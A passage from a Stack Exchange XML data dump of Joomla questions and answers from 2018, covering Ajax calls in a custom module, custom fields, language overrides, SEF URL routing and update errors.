}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_filefinder/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('script', 'administrator/modules/mod_filefinder/ajax.js');&#xA;&#xA;echo &quot;&amp;lt;div id=\&quot;filefinder_container\&quot;&amp;gt;{$filefinder-&amp;gt;currentdirectory}&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_filefinder/ajax.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    function loadContent(path) {&#xA;        console.log({path: path});&#xA;        var request = {&#xA;            option       : 'com_ajax',&#xA;            module       : 'filefinder',  // to target: mod_filefinder&#xA;            method       : 'FileFinder',  // to target: function FileFinderAjax in class modFileFinderHelper&#xA;            format       : 'raw',&#xA;            data         : {path: path}&#xA;        };&#xA;        console.log(request);&#xA;        $.ajax({&#xA;            method: 'POST',&#xA;            data: request&#xA;        })&#xA;        .success(function(response){&#xA;            console.log('response: '+response);&#xA;        });&#xA;    }&#xA;    console.log('onload, calling ajax with default path value: '+$('#filefinder_container').html());&#xA;    loadContent($('#filefinder_container').html());&#xA;&#xA;    $('#path').on('change', function() {&#xA;        console.log('change event triggered, calling ajax with path value: '+$(this).val());&#xA;        loadContent($(this).val());&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my console.log data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2sVLp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2sVLp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let me try to ask this differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the simplest file structure that will allow me to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load an empty html structure.&lt;/li&gt;&#xA;&lt;li&gt;Send an AJAX call to a single-purpose (build a json string) php file&lt;/li&gt;&#xA;&lt;li&gt;Receive the json response and distribute the json data into the html structure&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Simple right?  Please help.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-03-23T10:22:18.217" LastActivityDate="2018-03-24T15:11:28.143" Title="How to get Ajax response within a Module?" Tags="|joomla-3.x|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22575" PostTypeId="2" ParentId="22574" CreationDate="2018-03-22T08:39:15.217" Score="3" Body="&lt;p&gt;Ok first thing is first, get your Javascript out of the PHP file and into a separate  &lt;code&gt;.js&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file should be placed in the media directory, but just for temporary measure, just place it in the root of the module directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code with a couple of changes, such as passing the URL parameters through as a rwquest object, as opposed to a direct URL. This will help when working with multilingual websites and SEF URL's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ajax.js:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    var path = $('#path');&#xA;&#xA;    path.on('change', function() {&#xA;        var value = $(this).val();&#xA;        var request = {&#xA;            option       : 'com_ajax',&#xA;            module       : 'filefinder',&#xA;            method       : 'FileFinder',&#xA;            format       : 'raw',&#xA;            'data[path]' : value,&#xA;        };&#xA;&#xA;        $.ajax({&#xA;            type: 'POST',&#xA;            data: request,&#xA;            success: function(response){&#xA;                console.log(response); &#xA;            }&#xA;        });&#xA;&#xA;    });&#xA;&#xA;    path.trigger('change');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The the revised code for the Helper with some additional code tweaks for you to get the Ajax data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class ModfileFinderHelper&#xA;{&#xA;    public $currentdirectory = '';&#xA;    public $subdirectories = array();&#xA;    public $container = false;&#xA;&#xA;    public function __construct($path = null)&#xA;    {&#xA;        if (!$path)&#xA;        {&#xA;            chdir('../');&#xA;            $this-&amp;gt;currentdirectory = basename(JPATH_BASE);&#xA;            $this-&amp;gt;subdirectories = glob($this-&amp;gt;currentdirectory . DS . '*', GLOB_ONLYDIR);&#xA;            $this-&amp;gt;container = true;&#xA;&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;currentdirectory = $path;&#xA;            $this-&amp;gt;subdirectories = glob($this-&amp;gt;currentdirectory . DS . '*', GLOB_ONLYDIR);&#xA;        }&#xA;    }&#xA;&#xA;    public function FileFinderAjax()&#xA;    {&#xA;        $data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getArray([]);&#xA;        $path = $data['data']['server'];&#xA;&#xA;        var_dump($path);&#xA;        exit;&#xA;&#xA;        // Check the browser console (Network tab) and the path should be displayed under the &quot;response&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And finally the &lt;strong&gt;default.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('script', 'modules/mod_filefinder/ajax.js');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($filefinder-&amp;gt;container) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;filefinder_container&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('Current Directory') . ' ' . $filefinder-&amp;gt;currentdirectory; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;select id=&quot;path&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select a Subdirectory&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php foreach ($filefinder-&amp;gt;subdirectories as $subdirectory) : ?&amp;gt;&#xA;            &amp;lt;option&amp;gt;&amp;lt;?php echo $subdirectory; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;?php if ($filefinder-&amp;gt;container) : ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_filefinder.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the class name change, update the following line in this file from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filefinder = new FileFinder(JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getString('path'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getString('path');&#xA;$filefinder = new ModfileFinderHelper($path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Overall, just some code simplification and improvements here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's recommended to implement a token check for Ajax calls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to add CSRF anti-spoofing to forms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="7024" LastEditDate="2018-03-24T15:11:28.143" LastActivityDate="2018-03-24T15:11:28.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22576" PostTypeId="2" ParentId="22574" CreationDate="2018-03-22T08:44:24.210" Score="6" Body="&lt;p&gt;For the ajax request to map to your module's helper the class must be named &quot;modFilefinderHelper&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Module requests must include the module variable in the URL, paired&#xA;  with the name of the module (i.e. module=session for mod_session).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This value is also used for:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The name of the directory to check for the helper file, e.g.&#xA;  /modules/mod_session/helper.php The class name to call, e.g.&#xA;  modSessionHelper&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;relevant doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit after question update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated and commented two of the files where you're having problems&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class modFileFinderHelper&#xA;{&#xA;    function __construct() {&#xA;        $this-&amp;gt;currentdirectory = basename(JPATH_BASE);&#xA;    }&#xA;&#xA;    // static methods only (the constructor above wont run for your ajax request)&#xA;    public static function FileFinderAjax() {&#xA;        // Here we get the data passed via ajax - note the values themselves have not been filtered!&#xA;        $data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('data',[],'array');&#xA;&#xA;        // Presumably you would here do something worthwhile&#xA;        $response = [&#xA;            'something' =&amp;gt; 12345,&#xA;            'your_path' =&amp;gt; $data['path'],&#xA;        ];&#xA;        // Usually you can dump json and die, but there's a inbuild responder that'll encode things and die on your behalf&#xA;        // you'll see client side it also adds a few generic values like &quot;success&quot;&#xA;        echo new JResponseJson($response);&#xA;    }&#xA;}&#xA;&#xA;&#xA;jQuery(function($) {&#xA;&#xA;    // grab a dom selector so we don't have to grab it each time we update&#xA;    var filefinder_container = $('#filefinder_container');&#xA;&#xA;    function loadContent(path) {&#xA;        console.log({path: path});&#xA;        var request = {&#xA;            option       : 'com_ajax',&#xA;            module       : 'filefinder',  // to target: mod_filefinder&#xA;            method       : 'FileFinder',  // to target: function FileFinderAjax in class modFileFinderHelper&#xA;            format       : 'raw',&#xA;            data         : {path: path}&#xA;        };&#xA;        console.log(request);&#xA;        $.ajax({&#xA;            method: 'POST',&#xA;            data: request&#xA;        })&#xA;        .success(function(response){&#xA;            console.log('response: '+response);&#xA;            // we've got json but we need an object so let's parse it!&#xA;            response = jQuery.parseJSON(response);&#xA;            // and now we can use it like this.&#xA;            filefinder_container.text(response.data.something + &quot; and &quot; + response.data.your_path);&#xA;        });&#xA;    }&#xA;    console.log('onload, calling ajax with default path value: '+$('#filefinder_container').html());&#xA;    loadContent($('#filefinder_container').html());&#xA;&#xA;    $('#path').on('change', function() {&#xA;        console.log('change event triggered, calling ajax with path value: '+$(this).val());&#xA;        loadContent($(this).val());&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, it's not an issue with jQuery, but with some other FE frameworks like angularjs or vuejs you may/will run into an issue of Joomla been not aware of your input because it fed as real JSON, not a form. To get over it you'd like to add something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = Factory::getApplication()-&amp;gt;input;&#xA;$jsonInput = json_decode(file_get_contents('php://input'));&#xA;if($jsonInput){&#xA;    foreach ($jsonInput as $k =&amp;gt; $v){&#xA;        $input-&amp;gt;def($k,$v);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="8261" LastEditDate="2018-03-24T08:41:46.033" LastActivityDate="2018-03-24T08:41:46.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22577" PostTypeId="1" CreationDate="2018-03-22T12:27:38.130" Score="0" ViewCount="164" Body="&lt;p&gt;I'm new to Joomla'scustom fields and also don't have a deep knowledge of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;I need to create a custom field name &amp;quot;Speakers&amp;quot; to associate to a event. It's a multiselect field so that when inserting an article there should be the possibility to add multiple speakers.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, I need the possibility to manage the speakers, so that if one new speaker appears it could be added.&lt;/p&gt;&#xA;&lt;p&gt;I assume that this is very easy to do, but as I said I don't know much of custom fields.&lt;/p&gt;&#xA;" OwnerUserId="2282" LastEditorUserId="12352" LastEditDate="2021-04-06T22:50:01.677" LastActivityDate="2023-05-30T14:03:45.473" Title="Joomla custom fields management" Tags="|custom-field|form-fields-types|fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22578" PostTypeId="2" ParentId="22577" CreationDate="2018-03-22T13:57:59.420" Score="0" Body="&lt;p&gt;You can extend the &lt;a href=&quot;https://docs.joomla.org/Tag_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tag&lt;/a&gt; field provided in native joomla and build your own field on top of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample tutorial on how to build a custom field is provided here &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you are building a custom component for your events management, also take time to go through the code in these files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/libraries/cms/html/tag.php &lt;/li&gt;&#xA;&lt;li&gt;/layouts/joomla/html/tag.php&lt;/li&gt;&#xA;&lt;li&gt;administrator/components/com_tags/*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will get ample knowledge on how to go about your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of the tags field in usage is found when editing an article. Go to content manager -&gt; Articles -&gt; New Article and look for the tags field in the right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's too much work and you don't want your users to add new speakers to your database, then you can simply provide a list of predefined speakers and let users select from that through a normal select field.&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2018-03-22T13:57:59.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22580" PostTypeId="2" ParentId="5042" CreationDate="2018-03-22T18:27:16.233" Score="2" Body="&lt;p&gt;Even though this is an old post. I wanted to post one of the solutions that helped me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('group', JPATH_ADMINISTRATOR.'/components/com_users/models');&#xA;$groupModel = JModelLegacy::getInstance( 'Group', 'UsersModel' );&#xA;$groupModel-&amp;gt;save($group);&#xA;$groupId = $groupModel-&amp;gt;getState('group.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2018-03-22T18:27:16.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22583" PostTypeId="1" CreationDate="2018-03-23T01:59:20.630" Score="2" ViewCount="844" Body="&lt;p&gt;I had created the new fields in User:Fields named departments, phone, and mobile phone. How can I view it at my site like how username and email can be viewed? For now I'm using getUser() and getParam(), but only name, username, and email appeared. Where can I get the field name in Joomla? Please excuse my knowledge as I'm very new to Joomla. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$registered = JAccess::getUsersByGroup(2); //change number in the brackets&#xA;$rows = '';&#xA;&#xA;foreach($registered as $user_id) //loop every user exist&#xA;{&#xA;    echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;    $user = JFactory::getUser($user_id);&#xA;&#xA;    $rows .= '';&#xA;    $rows .= '' . $user-&amp;gt;name . '';&#xA;    $rows .= '' . $user-&amp;gt;username . '';&#xA;    $rows .= '' . $user-&amp;gt;getParam('com_fields_departments') . '';&#xA;    $rows .= '' . $user-&amp;gt;getParam('com_fields_phone') . '';&#xA;    $rows .= '' . $user-&amp;gt;getParam('com_fields_mobile_phone') . '';&#xA;    $rows .= '' . $user-&amp;gt;email . '';&#xA;    $rows .= '';    &#xA;}&#xA;echo $rows;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12361" LastActivityDate="2018-09-14T13:01:12.593" Title="How can I get value from custom field in Joomla 3.8.5?" Tags="|joomla3.8.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22585" PostTypeId="2" ParentId="19378" CreationDate="2018-03-23T05:16:44.043" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H4kUS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4kUS.png&quot; alt=&quot;Smart Search advanced usage - just click the advanced search button&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the &quot;Advanced Search&quot; options, &quot;surrounding your query in quotes&quot; will search for the exact phrase.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-03-23T05:16:44.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22586" PostTypeId="2" ParentId="22346" CreationDate="2018-03-23T05:22:34.353" Score="2" Body="&lt;p&gt;Create a language override for the constant: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extensions &gt; Languages &gt; Overrides&lt;/li&gt;&#xA;&lt;li&gt;Create a new override&lt;/li&gt;&#xA;&lt;li&gt;Type/paste &quot;JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS&quot; as the Language Constant&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;Select a Tag&quot; into the Text field.&lt;/li&gt;&#xA;&lt;li&gt;Check &quot;For both Locations&quot; if you want it to say the same thing in the front and backend.&lt;/li&gt;&#xA;&lt;li&gt;Save and close&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It looks like this when you're done (I typed different &quot;Text&quot; because I'm a funny guy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nNtvY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNtvY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-03-23T05:22:34.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22587" PostTypeId="1" CreationDate="2018-03-23T19:45:02.200" Score="1" ViewCount="62" Body="&lt;p&gt;I've got an article that's a simple event. I don't need any event management extension because &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used joomla custom fields to associate to each event some info like speakers, date, ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One info associated with each event it's called &quot;tracks&quot;. On event can have none to several tracks associated. Since it's not possible to know how many tracks there will be associated with the event, I'd like to have a custom text field, where the admin would put the track name, and if there were more tracks he could click a button &quot;add&quot; (for example) to add another field to fill with another track name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2282" LastEditorUserId="2282" LastEditDate="2018-03-23T19:57:17.973" LastActivityDate="2018-04-29T08:08:42.577" Title="Custom fields &quot;on demand&quot;" Tags="|joomla-3.x|jform|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22588" PostTypeId="2" ParentId="21252" CreationDate="2018-03-24T09:08:14.170" Score="2" Body="&lt;p&gt;My solutions to get 2 new columns in my com_content/category/default_articles.php template override. These &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs.joomla&lt;/a&gt; and the above replies helped me a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $article) : ?&amp;gt;&lt;/code&gt; loop. Where all the item info is collected place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- this code to grab the fields by use of the fieldshelper --&amp;gt;&#xA;&#xA;&amp;lt;?php JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); ?&amp;gt;&#xA;&amp;lt;?php foreach($article-&amp;gt;jcfields as $jcfield)&#xA;   {&#xA;    $article-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place the extra columns header info in tableheaders  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- table header --&amp;gt;&#xA;&amp;lt;th&amp;gt;&#xA;    your field 1:&#xA;&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;&#xA;    your field 2:&#xA;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally place the custom field info per item in the tbody. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?php echo $article-&amp;gt;jcFields['your-field-1']-&amp;gt;value; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;td&amp;gt;&amp;lt;?php echo $article-&amp;gt;jcFields['your-field-2']-&amp;gt;value; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12367" LastActivityDate="2018-03-24T09:08:14.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22589" PostTypeId="1" CreationDate="2018-03-24T16:38:41.323" Score="0" ViewCount="35" Body="&lt;p&gt;I am working on an ecommerce joomla site and I am having some trouble with SEF URLs. When I turn this functionality ON in the Global Configuration of Joomla Backend, it appends user's email address (Seller) in the end of url. IfI keep this OFF then it doesn't show users' email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here user is the seller who has listed its property on the site. It sounds very scary to expose seller email address on its listing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what causing this problem, I recently upgraded the J! to 3.8.6 and started seeing this trouble. Please let me know if I am making some mistake or any remedy/workaround. Do I need to make any changes in the htaccess? How does native SEF of joomla works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Ver- 3.8.6&#xA;PHP ver- 7.0.28&lt;/p&gt;&#xA;" OwnerUserId="12046" LastEditorUserId="12046" LastEditDate="2018-03-24T17:20:05.397" LastActivityDate="2018-04-28T15:08:44.217" Title="SEF : URL shows user email - Routing" Tags="|url|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22592" PostTypeId="1" AcceptedAnswerId="22620" CreationDate="2018-03-25T17:05:11.880" Score="1" ViewCount="204" Body="&lt;p&gt;I am attempting to embed a Fabrik form in an article, the article displays fine without the form, however as soon as I embed it I get the below error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugin manager: plugin is disabled or ACL protected: juser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have googled it and haven't come up with a similar error message, so I'm a bit stumped as to what is causing it. I have checked the fabrik plugins (including the content plugin) and these are all published. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error can be seen &lt;a href=&quot;https://sitewidedesign.co.uk/ptbnew/index.php/en/wholesale&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to what I can do to try and identify/rectify the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-03-29T15:09:14.297" LastActivityDate="2018-03-31T00:19:49.027" Title="plugin manager: plugin is disabled or ACL protected: juser" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22594" PostTypeId="1" AcceptedAnswerId="22601" CreationDate="2018-03-26T08:17:22.470" Score="1" ViewCount="139" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Am1O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Am1O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning&#xA;JInstaller: :Install: Error SQL Can't DROP 'idx_image'; check that column/key exists&#xA;Files Update: SQL error file DB function failed with error number 1091 &#xA;Can't DROP 'idx_image'; check that column/key exists&#xA;SQL =&#xA;ALTER TABLE &lt;code&gt;#__languages&lt;/code&gt; DROP INDEX &lt;code&gt;idx_image&lt;/code&gt;;&lt;/p&gt;&#xA;" OwnerUserId="12373" LastActivityDate="2018-03-27T20:00:28.033" Title="joomla update issues" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22595" PostTypeId="1" CreationDate="2018-03-26T13:56:39.920" Score="1" ViewCount="98" Body="&lt;p&gt;I have some joomla custom fields in articles.&#xA;But I need 3 custom fields that should behave like the joomla &quot;tags&quot; so that, besides selecting from the options available, the user can also insert a new one that automatically should be available after that.&#xA;But this new &quot;tags&quot; should store data in different places so that there would be different options for each field.&#xA;Is there any detailed tutorial explaining how to do this (I'm not a developer)? Or an extension?!&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2282" LastActivityDate="2018-03-26T13:56:39.920" Title="Extended tag field joomla article custom field" Tags="|articles|tags|custom-field|article-manager|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22599" PostTypeId="2" ParentId="7287" CreationDate="2018-03-27T17:49:13.190" Score="0" Body="&lt;p&gt;if you use no editor, sourcerer strips all html tags.&#xA;Use &lt;code&gt;{source 0} .... {/source}&lt;/code&gt; to prevent it.&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer/tutorial#using-html-entities&quot; rel=&quot;nofollow noreferrer&quot;&gt;sourcerer tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8707" LastActivityDate="2018-03-27T17:49:13.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22601" PostTypeId="2" ParentId="22594" CreationDate="2018-03-27T20:00:28.033" Score="0" Body="&lt;p&gt;Although it's strange that the &lt;code&gt;idx_image&lt;/code&gt; index did not exist I wouldn't be too concerned about it. That warning is essentially telling you that Joomla tried to get rid of something but it was already gone. The Joomla update was still successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend that you go to (from your Joomla Administrator) &lt;code&gt;Extensions&lt;/code&gt; &gt; &lt;code&gt;Manage&lt;/code&gt; &gt; &lt;code&gt;Database&lt;/code&gt; and confirm that there aren't any issues. If there are, the &quot;fix&quot; button should fix them for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you should be OK, unless you have a high-traffic site, or are noticing slow page load. I say this because if you had one missing database index you may have other missing database indexes (and I don't think the database check I recommended you do checks for missing indexes, but I could be wrong). That could result in slow query execution.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2018-03-27T20:00:28.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
